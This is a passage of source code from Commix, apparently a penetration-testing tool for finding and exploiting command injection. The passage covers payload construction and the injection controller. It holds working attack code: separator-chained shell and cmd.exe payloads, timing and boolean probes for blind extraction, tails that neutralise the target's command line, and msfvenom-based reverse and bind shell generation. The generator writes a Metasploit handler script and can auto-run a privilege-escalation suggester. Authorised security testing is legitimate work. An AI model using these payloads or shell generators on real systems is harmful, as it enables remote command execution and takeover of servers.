at all. +def shell_separator(separator): + if settings.TARGET_OS == settings.OS.WINDOWS: + return windows_separator(separator) + return unix_separator(separator) + +# Only those, so the attempt count reflects what the target's shell can actually chain on. +def chainable_separators(separators): + return [separator for separator in separators if shell_separator(separator) is not None] + +""" +Report whether the target's shell runs a second command after this separator at all. A name lookup +can still betray an injection point through one that does not - cmd.exe reads ';' as an argument +separator, so the payload lands as another argument of the target's own command - but nothing can +be run through it afterwards. +""" +def separator_chains(separator): + return shell_separator(separator) is not None + +""" +The operator a payload chains its own commands with, once it has started with the separator under +test. Unconditional, unlike '||' and '|', so every part runs no matter how the first one ended. +""" +WINDOWS_CHAIN = "&" + +""" +What a Windows payload ends with when its last token is a filename or a quoted literal. cmd.exe has +no comment character, but 'rem' ignores whatever follows it, so anything the target's own command +line carries after the payload - a closing quote, another argument - lands there instead of inside +that token. +""" +WINDOWS_TAIL = WINDOWS_CHAIN + "rem" + settings.SINGLE_WHITESPACE + +""" +The same tail, chained on whatever the payload itself started with. A payload that reaches for a +second separator is blocked wherever only its own one gets through, and the separator then reads as +not injectable. +""" +def windows_tail(chain): + return chain + "rem" + settings.SINGLE_WHITESPACE + +""" +The same, for a POSIX shell: '#' starts a comment, so an unterminated quote or a leftover argument +after the payload is read as one too, instead of swallowing the payload's own last token. +""" +UNIX_TAIL = settings.SINGLE_WHITESPACE + settings.COMMENT + +""" +End a payload so that whatever the target's own command line carries after it is ignored. +""" +def shell_tail(): + return WINDOWS_TAIL if settings.TARGET_OS == settings.OS.WINDOWS else UNIX_TAIL + +""" +End an out-of-band payload on the separator it chains on, not on a comment character the sink has +to pass as well - one that filters it reads every separator as not injectable. cmd.exe has none, so +'rem' stands in on that same separator. With no separator to close on, the tail is all there is. +""" +def terminate_oob_payload(payload, separator, target_os=None): + if not separator: + return payload + shell_tail() + if (target_os or settings.TARGET_OS) == settings.OS.WINDOWS: + return payload + windows_tail(separator) + return terminate_payload(payload, separator) + +""" +Hold the answer back for a number of seconds, without starting a PowerShell process. + +'ping' waits about a second between echoes, so one more than the delay takes that many seconds. It +is on every Windows, including the versions that have no 'timeout' command, and it starts at once - +where a PowerShell launch costs a second or two of its own and varies from call to call, which is +noise a timing measurement cannot afford. +""" +def windows_sleep(timesec): + return ("ping -n " + str(int(timesec) + 1) + settings.SINGLE_WHITESPACE + "127.0.0.1" + + settings.SINGLE_WHITESPACE + ">nul") + +""" +Whether the decision payload holds the answer back for one candidate length alone. The Windows one +compares the marker straight back instead of measuring its length, so every candidate is answered +the same way - and the shape of a sample of those says nothing about a false positive. +""" +def decision_is_length_based(): + return settings.TARGET_OS != settings.OS.WINDOWS + +""" +The delay a time-related payload asks the target for, in seconds. The same on either target: the +answer is told apart from an undelayed one by a threshold that sits just above the target's own +response times, so seconds beyond that are paid on every probe of every character for nothing. +""" +def injected_delay(timesec): + return int(timesec) + +""" +Read a value off a Windows command and hold the answer back when it stands in the given relation +('EQU', 'GEQ', ...) to the expected one. +""" +def windows_probe(chain, cmd, operator, expected, timesec): + # Quoted, so that an operator inside the command stays part of it - but left alone when the + # command carries double quotes of its own, which cmd.exe would then pair up with the added ones. + if "\"" not in cmd: + cmd = "\"" + cmd + "\"" + # The tail matters more here than anywhere else: the delay is asked for by a command that ends in + # a redirection, and a closing quote the target's own command line carries after it would be read + # as part of the redirect's filename - which fails, so the delay never happens and the answer + # comes back on time as if nothing had been injected. + # Run through 'cmd /c', or the comparison is lost whenever the payload starts on a pipe: the shell + # a pipe spawns for its right-hand side has no command extensions, and 'EQU'/'GEQ' are one - the + # test then never runs, no delay is asked for, and the separator reads as not injectable. + return (chain + + "for /f \"tokens=* eol=\" %i in ('cmd /c " + cmd + "') do cmd /c if %i " + operator + + settings.SINGLE_WHITESPACE + str(expected) + settings.SINGLE_WHITESPACE + + windows_sleep(timesec) + windows_tail(chain)) + +""" +The same comparison, answering by printing rather than by waiting. + +cmd.exe hands no exit status back to a page that shows only what a command printed, so what says yes +is a marker on the page and what says no is its absence - read as the difference between two pages, +never for what it spells. +""" +def windows_boolean_probe(chain, cmd, operator, expected): + if "\"" not in cmd: + cmd = "\"" + cmd + "\"" + return (chain + + "for /f \"tokens=* eol=\" %i in ('cmd /c " + cmd + "') do cmd /c if %i " + operator + + settings.SINGLE_WHITESPACE + str(expected) + settings.SINGLE_WHITESPACE + + "echo " + settings.BOOLEAN_MARKER + windows_tail(chain)) + +""" +Report whether an interaction carries the result of the sum the payload asked the target to work +out. Without a sum to check, any interaction counts. +""" +def oob_proof_holds(interactions, expected): + if not expected: + return bool(interactions) + """ + Compared without regard to case, because a name lookup is not guaranteed to arrive spelled the way + it was sent - a resolver is free to change the case of what it forwards, which is the same reason + the output a lookup carries is encoded in lowercase hex before it goes out. + """ + expected = expected.lower() + for interaction in interactions: + # A lookup has no request line to read: what it carries is the name that was resolved, and the + # sum rides in a label of its own in front of the token. + if (interaction.protocol or "").lower() == "dns": + if expected in (interaction.identifier or "").lower(): + return True + continue + lines = (interaction.raw_request or "").splitlines() + # Only the request line, so that a number appearing in a header cannot stand in for the result. + if lines and expected in lines[0].lower(): + return True + return False + +""" +Return the body of a raw HTTP request captured by an out-of-band server. +""" +def oob_request_body(raw_request): + if not raw_request: + return "" + for delimiter in ("\r\n\r\n", "\n\n"): + if delimiter in raw_request: + return raw_request.split(delimiter, 1)[1] + return "" + +""" +Append the separator once more if a custom injection marker changed where the payload lands - the shared tail repeated across every payloads.py. +""" +def terminate_payload(payload, separator, keep_output=False): + """ + End a payload so the target's own command line cannot run into it. + + What follows the injection point is the rest of the application's command, and a payload ending + in a redirection hands it straight to the command as further arguments - which 'echo' accepts + and writes, while most other commands refuse outright and give nothing back. + + Closed with the separator the payload is already chaining on, so what follows runs as a command + of its own rather than as arguments to this one. Nothing new is introduced to be filtered: the + payload ends with the one separator it is testing. + + What that takes differs by separator. ";", a newline and "&" end a command on their own, so the + remainder simply becomes the next one. "&&", "||" and "|" are binary and need something on their + right: the remainder usually provides it, but where the payload is the last thing in the value + there is nothing to provide, and the shell is handed an unfinished line. A ":" closes those - + it does nothing, and reads whatever follows as arguments it ignores. + """ + # Nothing to terminate: a separator this technique has no payload for is left empty, and the + # callers read that emptiness as "not supported" - a lone separator would read as a payload. + if not payload: + return payload + if settings.CUSTOM_INJECTION_MARKER: + return payload + separator + # A pipe hands this payload's own output to whatever comes next, and a technique that reads its + # result out of the response needs that output to reach the response instead. + if keep_output and separator == settings.PIPE_SEPARATOR: + return payload + return payload + separator + (settings.NO_OPERATION if separator in settings.BINARY_SEPARATORS else "") + +""" +Rewrite LF characters in a file-based payload for header-based injection modes, or CRLF-normalize for non-Windows targets - the shared "new line fixation" logic in fb_payloads.py. +""" +def fix_newlines_for_headers(payload, separator): + if settings.USER_AGENT_INJECTION or settings.REFERER_INJECTION or settings.HOST_INJECTION or settings.CUSTOM_HEADER_INJECTION: + return payload.replace(settings.END_LINE.LF, separator) + if settings.TARGET_OS != settings.OS.WINDOWS: + return payload.replace(settings.END_LINE.LF, settings.END_LINE.CR) + return payload + +""" +Generate an msfvenom payload and write its multi/handler .rc launcher, returning the payload's raw output - the shared logic behind bind_tcp.py's/reverse_tcp.py's PHP and Python meterpreter/bind shell options. +""" +def generate_msf_payload(payload, output, host_key, host_value, extra_msfvenom_args, strip_newlines): + subprocess.Popen( + "msfvenom -p " + str(payload) + + " " + host_key + "=" + str(host_value) + + " LPORT=" + str(settings.LPORT) + + extra_msfvenom_args + " -o " + output + settings.NO_OUTPUT, + shell=True + ).wait() + + with open(output, "r+" if strip_newlines else "r") as content_file: + data = ''.join(content_file.readlines()) + if strip_newlines: + data = data.replace(settings.END_LINE.LF, settings.SINGLE_WHITESPACE) + + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + os.remove(output) + + with open(output, 'w+') as filewrite: + filewrite.write( + "use exploit/multi/handler" + settings.END_LINE.LF + + "set payload " + payload + settings.END_LINE.LF + + "set " + host_key.lower() + " " + str(host_value) + settings.END_LINE.LF + + "set lport " + str(settings.LPORT) + settings.END_LINE.LF + + priv_esc_autorun_line(payload) + + "exploit" + settings.END_LINE.LF * 2 + ) + return data + +""" +'--priv-esc': the handler line that runs Metasploit's own local-exploit-suggester post module +against a Meterpreter session the instant it opens - nothing to add for a plain (non-Meterpreter) +shell, which Metasploit tracks as a session but has no post-module compatibility with. +""" +def priv_esc_autorun_line(payload): + if menu.options.priv_esc and "meterpreter" in payload: + return "set AutoRunScript post/multi/recon/local_exploit_suggester" + settings.END_LINE.LF + return "" + +""" +Message regarding the MSF handler. +""" +def msf_launch_msg(output): + info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.priv_esc: + info_msg = "Once a session opens, 'post/multi/recon/local_exploit_suggester' runs against it automatically ('--priv-esc')." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + info_msg = "Once the loading finishes, press any key here to continue..." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + sys.stdin.readline().replace(settings.END_LINE.LF, "") + # Remove the ouput file. + os.remove(output) + +""" +Set up the PHP working directory on the target host. +""" +def set_php_working_dir(): + while True: + message = "Do you want to use '" + settings.WIN_PHP_DIR + message += "' as PHP working directory on the target host? [Y/n] " + php_dir = common.read_input(message, default="Y", check_batch=True) + if php_dir in settings.CHOICE_YES: + break + elif php_dir in settings.CHOICE_NO: + message = "Please provide a custom working directory for PHP (e.g. '" + settings.WIN_PHP_DIR + "') " + settings.WIN_PHP_DIR = common.read_input(message, default=settings.WIN_PHP_DIR, check_batch=True) + settings.USER_DEFINED_PHP_DIR = True + break + else: + common.invalid_option(php_dir) + pass + +""" +Set up the Python working directory on the target host. +""" +def set_python_working_dir(): + while True: + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message += "' as default Python interpreter on the target host? [Y/n] " + python_dir = common.read_input(message, default="Y", check_batch=True) + if python_dir in settings.CHOICE_YES: + break + elif python_dir in settings.CHOICE_NO: + message = "Please specify the full path to the Python interpreter executable (e.g. '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') " + custom_interpreter = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True) + # A blank answer keeps the interpreter already in use, which the payloads concatenate as a string. + if custom_interpreter and custom_interpreter.strip(): + settings.WIN_PYTHON_INTERPRETER = custom_interpreter.strip() + settings.USER_DEFINED_PYTHON_DIR = True + break + else: + common.invalid_option(python_dir) + pass + +""" +Check if to use '/bin' standard subdirectory +""" +""" +A random path under '/tmp' - a fixed name would clash between concurrent sessions and is trivially predictable. +""" +def random_tmp_path(length=5): + return "/tmp/" + ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) + +# Ask once whether the target keeps its shell binaries under '/bin/'. +def use_bin_subdir(nc_alternative, shell): + # Asked once per run - every "run" re-asking the same question is just noise. + while settings.USE_BIN_SUBDIR_CHOICE is None: + message = "Use '/bin/' as the path prefix for shell and netcat? [y/N] " + enable_bin_subdir = common.read_input(message, default="N", check_batch=True) + if enable_bin_subdir in settings.CHOICE_YES : + settings.USE_BIN_SUBDIR_CHOICE = True + elif enable_bin_subdir in settings.CHOICE_NO: + settings.USE_BIN_SUBDIR_CHOICE = False + elif enable_bin_subdir in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(enable_bin_subdir) + pass + + if settings.USE_BIN_SUBDIR_CHOICE: + return "/bin/" + nc_alternative, "/bin/" + shell + return nc_alternative, shell + +""" +Set up the Python interpreter on linux target host. +""" +def set_python_interpreter(): + while True: + message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER + message += "' as default Python interpreter on the target host? [Y/n] " + python_interpreter = common.read_input(message, default="Y", check_batch=True) + if python_interpreter in settings.CHOICE_YES: + break + elif python_interpreter in settings.CHOICE_NO: + message = "Please specify the full filesystem path of a custom Python interpreter to use (e.g. '" + settings.LINUX_CUSTOM_PYTHON_INTERPRETER + "') " + settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=settings.LINUX_CUSTOM_PYTHON_INTERPRETER, check_batch=True) + settings.USER_DEFINED_PYTHON_INTERPRETER = True + break + else: + common.invalid_option(python_interpreter) + pass + +""" +Every bind/reverse shell payload template hardcodes IPv4 (socket.AF_INET, no bracket syntax), so an IPv6 literal would silently generate a broken payload - reject it instead. +""" +def _is_ipv6(value): + try: + socket.inet_pton(socket.AF_INET6, value) + return True + except (OSError, socket.error): + return False + +""" +Hostnames are allowed, shell metacharacters are not. +""" +def _validate_host_or_path(option_name, value): + if re.match(r'^[A-Za-z0-9.\-:_/]+$', value) is None: + err_msg = "The provided " + option_name + " value contains characters that are not allowed (only letters, digits, '.', '-', ':', '_', '/')." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return False + if value.isdigit(): + err_msg = "'" + value + "' looks like a port number, not a valid " + option_name + " host/IP - did you mean to use 'set lport'?" + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return False + if _is_ipv6(value): + err_msg = "IPv6 addresses are not currently supported for '" + option_name + "' - use an IPv4 address or hostname." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return False + return True + +""" +check / set rhost option for bind TCP connection +""" +def check_rhost(rhost): + if not _validate_host_or_path("RHOST", rhost): + return False + + settings.RHOST = rhost + settings.print_data_to_stdout("RHOST => " + settings.RHOST) + return True + +""" +check / set lhost option for reverse TCP connection +""" +def check_lhost(lhost): + + if not _validate_host_or_path("LHOST", lhost): + return False + + settings.LHOST = lhost + settings.print_data_to_stdout("LHOST => " + settings.LHOST) + return True + +""" +Validate a port is a plain base-10 integer within the valid TCP port range (1-65535) - float() alone would silently accept 'nan'/'inf'/negatives/decimals/out-of-range values as a usable port. +""" +def _validate_port(port): + if re.match(r'^\d+$', port) is None or not (1 <= int(port) <= 65535): + err_msg = "The provided port must be numeric and in the 1-65535 range (i.e. 1234)." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return False + return True + +""" +check / set lport option for reverse TCP connection +""" +def check_lport(lport): + if not _validate_port(lport): + return False + settings.LPORT = lport + settings.print_data_to_stdout("LPORT => " + settings.LPORT) + return True + +""" +check / set srvport option for reverse TCP connection +""" +def check_srvport(srvport): + if not _validate_port(srvport): + return False + settings.SRVPORT = srvport + settings.print_data_to_stdout("SRVPORT => " + settings.SRVPORT) + return True + +""" +check / set uripath option for reverse TCP connection +""" +def check_uripath(uripath): + settings.URIPATH = uripath + settings.print_data_to_stdout("URIPATH => " + settings.URIPATH) + return True + +""" +check / set handler option - catch the shell with a built-in listener instead of an external nc/ncat. +""" +def check_handler(value): + value = value.strip().lower() + if value in settings.CHOICE_YES or value in ("on", "1", "true"): + settings.HANDLER = True + elif value in settings.CHOICE_NO or value in ("off", "0", "false"): + settings.HANDLER = False + else: + err_msg = "The 'HANDLER' option accepts on/off (or yes/no, true/false)." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return False + settings.print_data_to_stdout("HANDLER => " + ("on" if settings.HANDLER else "off")) + return True + +""" +True when a target is within the scope given via the '--scope' option. +""" +def in_scope(url): + if not menu.options.scope or not url: + return True + if re.search(menu.options.scope, url, re.I): + return True + # A target can be met more than once (crawling, redirections), so count it just the once. + already_skipped = url in settings.SKIPPED_OUT_OF_SCOPE + settings.SKIPPED_OUT_OF_SCOPE.add(url) + if not already_skipped and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping out of scope target '" + url + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return False + +""" +The command a payload prints a command's output with. + +'printf' prints its arguments as they are, where 'echo' reads backslashes as escapes on some shells +and a leading '-n' as an option on all of them. Each payload uses only one of the two, and the +tamper script that trades 'printf' for 'echo' sets PRINT_WITH_ECHO for these to write 'echo'. +""" +# Several words, one space to each - the joining 'echo' does, in a format picked once per run. +# 'with_echo' names the printing for this one call, where the caller is writing both deliberately +# rather than printing the way the run prints; left out, the run's own choice stands. +def print_words(words, with_echo=None): + if settings.PRINT_WITH_ECHO if with_echo is None else with_echo: + return "echo " + words + return "printf " + settings.RANDOM_PRINTF_FORMAT + " " + words + +# One argument, printed as it is - with no line break behind it in either form, so both write the same. +def print_value(value): + if settings.PRINT_WITH_ECHO: + return "echo -n " + value + return "printf %s " + value + +# A marker, a word of letters only. +def print_marker(word): + if settings.PRINT_WITH_ECHO: + return "echo " + word + return "printf " + word + +""" +Note which of the two printings the heuristic test came back with, where it came back with one of +them only. + +Both went out in the one request, so an answer carrying one and not the other is the target's own +word on which it still lets through - suggestive rather than settled, since each went behind its +own separator and a separator the target does not take answers the same as a name it refuses. Read +as what is worth trying next, which is what the pass that reaches for the tamper script asks. +""" +def note_printer_that_answered(page): + patterns = settings.BASIC_COMMAND_INJECTION_RESULTS + if not patterns or not page: + return + answered = [name for name in ("echo", "printf") if patterns.get(name) and re.search(patterns[name], page)] + settings.PRINTER_ANSWERED = answered[0] if len(answered) == 1 else None + +""" +Whether there is an exact reading of the output to ask for on this target at all. + +Only the classic payload against a Unix-like shell has one: a Windows target is read through +'for /f', which hands the output back line by line whatever is asked, and the payload built for an +alternative interpreter marks its own line breaks and has no plainer form to be told apart from. A +substitution that cannot hold another one cannot hold the 'awk' call either, and a tamper script +has the exact reading taken out of the payload altogether - the quoting it asks for is a level +deeper than the scripts take apart. + +Asked of the same conditions the payload is built under, so that a question is never put to the +user where answering yes would send the very payload that was sent already. +""" +def exact_output_exists(): + return (settings.TARGET_OS != settings.OS.WINDOWS and not menu.options.interpreter + and substitution_nests() and not any(settings.TAMPER_SCRIPTS.values())) + +""" +Settle, before the first command the user asked for, how this target's command output is read - once, +so that every command after it runs a single time, in the one form. + +The plain reading hands the output back as the shell's own word splitting leaves it: every run of +whitespace a single space, and the line breaks gone with them. The exact reading hands it back as +it was printed, at the cost of a payload several times the length spelling out 'awk', 'LC_ALL', +'BEGIN', 'gsub' and 'ARGV' - every one a word a filter in front of the target can be watching for. +So it is the user's to ask for, and asked before anything runs: told over an output already read, +the only way to read that output exactly is to run the command again, and a command with an effect +of its own - an append, a deletion - would have it twice. + +The target is asked first whether it has 'awk' at all, by name and without running it. Where it +does not, there is no exact reading to offer and nothing is asked. Under '--batch' the answer is the +plain reading, so neither the question nor the check that would come before it is sent - unless +'--answers' names this question with a yes, which is the user asking for it in advance. +""" +def decide_exact_output(technique, read): + if (technique != settings.INJECTION_TECHNIQUE.RESULTS_BASED or settings.EXACT_OUTPUT_CHOICE is not None + or not settings.EXPLOITATION_STARTED or not exact_output_exists()): + return + settings.EXACT_OUTPUT_CHOICE = False + message = "Do you want to preserve whitespace in command output? (more complex payloads) [y/N] " + # Under '--batch' only an answer given by name for this question is reason to send anything. + if menu.options.batch and str(common.predefined_answer(message) or "").lower() != "y": + return + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking whether the target has 'awk', which reading command output exactly needs." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + if not (read(settings.AWK_PRESENCE_CHECK) or "").strip(): + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The target has no 'awk', so command output is read the plain way." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return + answer = common.read_input(message, default="N", check_batch=True) + settings.EXACT_OUTPUT_CHOICE = str(answer).lower() == "y" + settings.RESULTS_BASED_EXACT_OUTPUT = settings.EXACT_OUTPUT_CHOICE + +# eof diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py new file mode 100644 index 0000000000..1ef01ddaa2 --- /dev/null +++ b/src/core/controller/controller.py @@ -0,0 +1,2108 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import os +import time +import random +import string +from src.core.parse import cmdline as menu +from src.utils import logs +from src.utils import settings +from src.utils import common +from src.utils import session_handler +from src.core.requests import headers +from src.core.requests import requests +from src.core.requests import parameters +from src.core.modules import modules_handler +from src.core.requests import authentication +from src.core.controller import checks +from src.thirdparty.six.moves import urllib as _urllib +from src.core.techniques.time_based import tb_handler +from src.core.techniques.oob import oob_handler +from src.core.techniques.file_based import fb_handler +from src.core.techniques.tempfile_based import tfb_handler +from src.core.techniques.results_based import rb_handler +from src.core.techniques.boolean_based import bb_handler +from src.core.eval import eb_handler + +""" +Command Injection and exploitation controller. +Checks if the testable parameter is exploitable. +""" + +""" +Generate fresh operands and markers per call; match the markers around the computed value to avoid false positives. +""" +def basic_payload_generator(): + rand_a = random.randint(1, 10000) + rand_b = random.randint(1, 10000) + calc_string = str(rand_a) + "+" + str(rand_b) + marker1 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + marker2 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + marker3 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + # A pair of markers to each repetition below, rather than the one pair to all three, so the + # repetition that answered can be told from the ones that did not. + marker4 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + marker5 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + marker6 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + marker7 = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) + + suffix = "" + if checks.using_backticks(): + # 'expr' wants its operands as separate arguments - given one, it echoes the string back + # instead of adding anything up. + prefix = "expr " + calc_string = str(rand_a) + settings.SINGLE_WHITESPACE + "+" + settings.SINGLE_WHITESPACE + str(rand_b) + else: + prefix = "(" + suffix = ")" + + if settings.SKIP_CALC: + # '--skip-calc' covers the detection phase, and the heuristic is part of it - so what the target + # has to print back between the markers is a marker it had to run a command to produce. + expected = marker3 + settings.BASIC_STRING = checks.print_marker(marker3) + windows_proof = "echo " + marker3 + alter_interpreter_basic_string = " -c \"print('" + marker3 + "')\"" + else: + expected = str(rand_a + rand_b) + settings.BASIC_STRING = prefix + calc_string + suffix + windows_proof = "set /a " + settings.BASIC_STRING + alter_interpreter_basic_string = " -c \"print(int(" + calc_string + "))\"" + + """ + The same proof behind each separator, and - where nothing has chosen the printing for this run - + not all three printed with the same name. + + Both names go into payloads elsewhere one at a time, so a target refusing either refuses every + payload carrying it, this test's own included, and the run reads as a parameter with no way in + rather than as a name being turned away. Written here with both, each repetition behind its own + pair of markers: the repetition that comes back names what the target still prints with, and the + test answers at all where it would otherwise have come back empty. The separator varies with it, + so which of the two did the work is not settled by one answer - it is read as what is worth + trying, not as what was proven. Left alone where the run has a printing of its own, asked for or + adopted, since putting the other name back is the opposite of what the script was loaded for. + + The other name goes last rather than in the middle. Written ';A&B|C', the shell hands B's output + to C instead of to the page, so B is the one repetition nothing can be read from - measured, the + three print 'A C' and never B. The two that are read are the first and the last, so those are + the two that carry a name each. + """ + echoed = (True, True, True) if settings.PRINT_WITH_ECHO else (False, False, True) + pairs = ((marker1, marker2), (marker4, marker5), (marker6, marker7)) + proofs = [checks.print_words(opening + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + closing, with_echo=as_echo) + for (opening, closing), as_echo in zip(pairs, echoed)] + settings.BASIC_COMMAND_INJECTION_PAYLOADS = [";" + proofs[0] + "&" + proofs[1] + "|" + proofs[2], + "|echo " + marker1 + "&" + windows_proof + "&echo " + marker2 + + "&echo " + marker1 + "&" + windows_proof + "&echo " + marker2 + ] + settings.ALTER_INTERPRETER_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2 + + "&echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2 + + "|echo " + marker1 + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + alter_interpreter_basic_string + settings.CMD_SUB_SUFFIX + marker2, + "|echo " + marker1 + "&for /f \"tokens=* eol=\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "&echo " + marker2 + + "&echo " + marker1 + "&for /f \"tokens=* eol=\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + alter_interpreter_basic_string + "') do @set /p=%i" + settings.CMD_NUL + "&echo " + marker2 + ] + def _answer(pair): + return re.escape(pair[0]) + r"\s*" + re.escape(expected) + r"\s*" + re.escape(pair[1]) + # Kept by the name each repetition printed with, so an answer carrying one and not the other says + # which is still getting through; the whole of it is what the test itself is read against. + settings.BASIC_COMMAND_INJECTION_RESULTS = {"echo": "|".join(_answer(pair) for pair, as_echo in zip(pairs, echoed) if as_echo), + "printf": "|".join(_answer(pair) for pair, as_echo in zip(pairs, echoed) if not as_echo)} + settings.BASIC_COMMAND_INJECTION_RESULT = "|".join(_answer(pair) for pair in pairs) + +""" +Initializing basic level check status +""" +def basic_level_checks(): + settings.TIME_RELATED_ATTACK = False + settings.SKIP_CODE_INJECTIONS = None + settings.SKIP_COMMAND_INJECTIONS = None + settings.IDENTIFIED_COMMAND_INJECTION = False + settings.IDENTIFIED_WARNINGS = False + settings.IDENTIFIED_EVAL_PROBE = False + +""" +Take the state one parameter's testing leaves behind back to what it was before. + +What was learned about one parameter is not the next one's: a technique that answered for it, and a +value of its own that turned out not to be needed, would otherwise still be standing when the next +parameter is judged - and the verdict on that parameter read off them. +""" +def reset_parameter_state(): + # The other technique states are put back as each technique starts; this one is reached as a + # fallback from the file-based technique instead, so nothing else clears it. + settings.TEMPFILE_BASED_STATE = False + # How one parameter carried its value says nothing about how the next one carries its own. + settings.VALUE_ENCODING = None + # Whether a parameter needs the value it was given is asked of that parameter alone. + settings.TESTABLE_VALUE_OPTIMIZED = False + # And what stood in for the last parameter's value says nothing about this one's, which is tested + # with its own until a probe of its own drops it - a finding of this parameter's written out with + # the last one's value in front of it names a request nobody sent. + settings.TESTABLE_VALUE_STOOD_IN_FOR = "" + # Narrowed below for one parameter at a time, and put back here so the next one is tested with + # the techniques the run was given rather than with what the last parameter settled on. + if settings.TECHNIQUES_BEFORE_NARROWING is None: + settings.TECHNIQUES_BEFORE_NARROWING = menu.options.tech + else: + menu.options.tech = settings.TECHNIQUES_BEFORE_NARROWING + +""" +Initializing HTTP Headers parameters injection status +""" +def init_http_header_injection_status(): + settings.HTTP_HEADERS_INJECTION = None + settings.USER_AGENT_INJECTION = None + settings.REFERER_INJECTION = None + settings.HOST_INJECTION = None + +""" +Initializing Cookie parameters injection status +""" +def init_cookie_injection_status(): + settings.COOKIE_INJECTION = None + +""" +Check for previously stored sessions. +""" +def check_for_stored_sessions(url, check_parameter, http_request_method): + settings.STORED_TECHNIQUES = {} + if not menu.options.ignore_session and not menu.options.flush_session: + if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: + url, check_parameter = session_handler.check_stored_injection_points(url, check_parameter, http_request_method) + # Load stored techniques once so each can resume without re-querying storage. + settings.STORED_TECHNIQUES = session_handler.load_stored_techniques(url, check_parameter, http_request_method) + return url, check_parameter + +""" +Heuristic request(s) + +Carried the way the exploitation requests carry it, pollution included: under '--smart' a negative +answer here is what leaves the parameter untested, so deciding that on an unpolluted request would +skip the parameter over an answer '--hpp' was given to change. +""" +def heuristic_request(url, http_request_method, check_parameter, payload, whitespace, place): + data = None + cookie = None + tmp_url = url + payload, prefix = parameters.prefixes(payload, prefix="") + payload, suffix = parameters.suffixes(payload, suffix="") + payload = checks.tamper_outside_single_quotes(payload, lambda part: part.replace(settings.SINGLE_WHITESPACE, whitespace)) + if settings.IS_JSON: + payload = _urllib.parse.unquote(payload) + payload = checks.perform_payload_modification(payload) + # Written back the way the parameter's own value arrived, as every later request is. + payload = checks.apply_value_encoding(payload) + if settings.VERBOSITY_LEVEL >= 1: + settings.print_data_to_stdout(settings.print_payload(payload)) + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + payload = checks.payload_fixation(payload) + # Percent-encode cookie values to safely handle delimiters and special characters. + encoded_payload = checks.encode_payload(payload) + cookie = checks.process_injectable_value(encoded_payload, menu.options.cookie).encode(settings.DEFAULT_CODEC) + else: + cookie = checks.remove_tags(menu.options.cookie).encode(settings.DEFAULT_CODEC) + + if not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: + # A structured body escapes for itself; a form-encoded one needs the payload encoded for it. + if settings.IS_JSON: + body_payload = payload + elif settings.IS_GRAPHQL: + body_payload = checks.graphql_escape_payload(payload) + elif settings.IS_XML: + body_payload = checks.xml_encode_payload(checks.strip_xml_forbidden(payload)) + else: + body_payload = checks.encode_payload(payload) + data = checks.restore_xml_layout(checks.process_injectable_value(body_payload, menu.options.data, pollute=True)).encode(settings.DEFAULT_CODEC) + else: + if settings.USER_DEFINED_POST_DATA: + settings.USER_DEFINED_POST_DATA = checks.remove_tags(settings.USER_DEFINED_POST_DATA) + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) + if settings.INJECT_TAG in url: + # Encode query string, preserving delimiters and configured parameter delimiter + encoded_payload = checks.encode_payload(payload) + tmp_url = checks.process_injectable_value(encoded_payload, url, pollute=True) + else: + tmp_url = checks.remove_tags(tmp_url) + url = checks.remove_tags(url) + + request = _urllib.request.Request(tmp_url, data, method=http_request_method) + if cookie: + request.add_header(settings.COOKIE, cookie) + # The payload is carried by the header itself here - 'headers.do_check' leaves the header alone + # while its injection flag is set, so that this 